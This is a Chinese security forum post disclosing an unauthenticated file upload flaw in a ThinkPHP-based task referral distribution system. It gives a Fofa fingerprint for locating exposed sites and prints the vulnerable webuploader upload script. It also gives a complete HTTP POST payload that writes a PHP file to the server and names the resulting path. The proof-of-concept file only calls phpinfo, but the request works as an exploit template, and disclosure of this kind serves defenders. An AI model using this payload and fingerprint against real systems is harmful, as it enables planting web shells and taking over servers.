某自适应任务拉新分销系统存在文件上传漏洞-网络安全论坛-网络安全-阻击者联盟

某自适应任务拉新分销系统存在文件上传漏洞

0x00 前言

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Fofa指纹 : “/static/home/login/reset.css”

d2b5ca33bd20260618084539

d2b5ca33bd20260618084545

框架:ThinkPHP

0x01 漏洞分析&复现

位于 public/static/lib/webuploader/0.1.5/server/fileupload.php 中,上传文件可由 $_REQUEST["name"] 控制,且未发现认证、CSRF 校验、扩展名白名单或 MIME 校验

<?php
/**
 * upload.php
 *
 * Copyright 2013, Moxiecode Systems AB
 * Released under GPL License.
 *
 * License: http://www.plupload.com/license
 * Contributing: http://www.plupload.com/contributing
 */

#!! 注意
#!! 此文件只是个示例,不要用于真正的产品之中。
#!! 不保证代码安全性。

#!! IMPORTANT:
#!! this file is just an example, it doesn't incorporate any security checks and
#!! is not recommended to be used in production environment as it is. Be sure to
#!! revise it and customize to your needs.


// Make sure file is not cached (as it happens for example on iOS devices)
header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
header("Cache-Control: no-store, no-cache, must-revalidate");
header("Cache-Control: post-check=0, pre-check=0", false);
header("Pragma: no-cache");


// Support CORS
// header("Access-Control-Allow-Origin: *");
// other CORS headers if any...
if ($_SERVER['REQUEST_METHOD'] == 'OPTIONS') {
    exit; // finish preflight CORS requests here
}


if ( !empty($_REQUEST[ 'debug' ]) ) {
    $random = rand(0, intval($_REQUEST[ 'debug' ]) );
    if ( $random === 0 ) {
        header("HTTP/1.0 500 Internal Server Error");
        exit;
    }
}

// header("HTTP/1.0 500 Internal Server Error");
// exit;


// 5 minutes execution time
@set_time_limit(5 * 60);

// Uncomment this one to fake upload time
// usleep(5000);

// Settings
// $targetDir = ini_get("upload_tmp_dir") . DIRECTORY_SEPARATOR . "plupload";
$targetDir = 'upload_tmp';
$uploadDir = 'upload';

$cleanupTargetDir = true; // Remove old files
$maxFileAge = 5 * 3600; // Temp file age in seconds


// Create target dir
if (!file_exists($targetDir)) {
    @mkdir($targetDir);
}

// Create target dir
if (!file_exists($uploadDir)) {
    @mkdir($uploadDir);
}

// Get a file name
if (isset($_REQUEST["name"])) {
    $fileName = $_REQUEST["name"];
} elseif (!empty($_FILES)) {
    $fileName = $_FILES["file"]["name"];
} else {
    $fileName = uniqid("file_");
}

$filePath = $targetDir . DIRECTORY_SEPARATOR . $fileName;
$uploadPath = $uploadDir . DIRECTORY_SEPARATOR . $fileName;

// Chunking might be enabled
$chunk = isset($_REQUEST["chunk"]) ? intval($_REQUEST["chunk"]) : 0;
$chunks = isset($_REQUEST["chunks"]) ? intval($_REQUEST["chunks"]) : 1;


// Remove old temp files
if ($cleanupTargetDir) {
    if (!is_dir($targetDir) || !$dir = opendir($targetDir)) {
        die('{"jsonrpc" : "2.0", "error" : {"code": 100, "message": "Failed to open temp directory."}, "id" : "id"}');
    }

    while (($file = readdir($dir)) !== false) {
        $tmpfilePath = $targetDir . DIRECTORY_SEPARATOR . $file;

        // If temp file is current file proceed to the next
        if ($tmpfilePath == "{$filePath}_{$chunk}.part" || $tmpfilePath == "{$filePath}_{$chunk}.parttmp") {
            continue;
        }

        // Remove temp file if it is older than the max age and is not the current file
        if (preg_match('/\.(part|parttmp)$/', $file) && (@filemtime($tmpfilePath) < time() - $maxFileAge)) {
            @unlink($tmpfilePath);
        }
    }
    closedir($dir);
}


// Open temp file
if (!$out = @fopen("{$filePath}_{$chunk}.parttmp", "wb")) {
    die('{"jsonrpc" : "2.0", "error" : {"code": 102, "message": "Failed to open output stream."}, "id" : "id"}');
}

if (!empty($_FILES)) {
    if ($_FILES["file"]["error"] || !is_uploaded_file($_FILES["file"]["tmp_name"])) {
        die('{"jsonrpc" : "2.0", "error" : {"code": 103, "message": "Failed to move uploaded file."}, "id" : "id"}');
    }

    // Read binary input stream and append it to temp file
    if (!$in = @fopen($_FILES["file"]["tmp_name"], "rb")) {
        die('{"jsonrpc" : "2.0", "error" : {"code": 101, "message": "Failed to open input stream."}, "id" : "id"}');
    }
} else {
    if (!$in = @fopen("php://input", "rb")) {
        die('{"jsonrpc" : "2.0", "error" : {"code": 101, "message": "Failed to open input stream."}, "id" : "id"}');
    }
}

while ($buff = fread($in, 4096)) {
    fwrite($out, $buff);
}

@fclose($out);
@fclose($in);

rename("{$filePath}_{$chunk}.parttmp", "{$filePath}_{$chunk}.part");

$index = 0;
$done = true;
for( $index = 0; $index < $chunks; $index++ ) {
    if ( !file_exists("{$filePath}_{$index}.part") ) {
        $done = false;
        break;
    }
}
if ( $done ) {
    if (!$out = @fopen($uploadPath, "wb")) {
        die('{"jsonrpc" : "2.0", "error" : {"code": 102, "message": "Failed to open output stream."}, "id" : "id"}');
    }

    if ( flock($out, LOCK_EX) ) {
        for( $index = 0; $index < $chunks; $index++ ) {
            if (!$in = @fopen("{$filePath}_{$index}.part", "rb")) {
                break;
            }

            while ($buff = fread($in, 4096)) {
                fwrite($out, $buff);
            }

            @fclose($in);
            @unlink("{$filePath}_{$index}.part");
        }

        flock($out, LOCK_UN);
    }
    @fclose($out);
}

// Return Success JSON-RPC response
die('{"jsonrpc" : "2.0", "result" : null, "id" : "id"}');

Payload:

POST /static/lib/webuploader/0.1.5/server/fileupload.php?name=audit.php&chunk=0&chunks=1 HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ru;q=0.8,en;q=0.7
Cache-Control: max-age=0
Connection: keep-alive
Content-Length: 197
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryd8pwpkIz0eDkBEbc
Host: 192.168.140.128
Origin: http://192.168.140.128
Referer: http://192.168.140.128/static/lib/webuploader/0.1.5/server/fileupload.php?name=audit.php&chunk=0&chunks=1
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/148.0.0.0 Safari/537.36

------WebKitFormBoundarytWIvtdAsZeAHIKQN
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/jpeg

<?php phpinfo();?>
------WebKitFormBoundarytWIvtdAsZeAHIKQN--

d2b5ca33bd20260618084659

d2b5ca33bd20260618084708

文件上传在

 /static/lib/webuploader/0.1.5/server/upload/audit.php

d2b5ca33bd20260618084723

 

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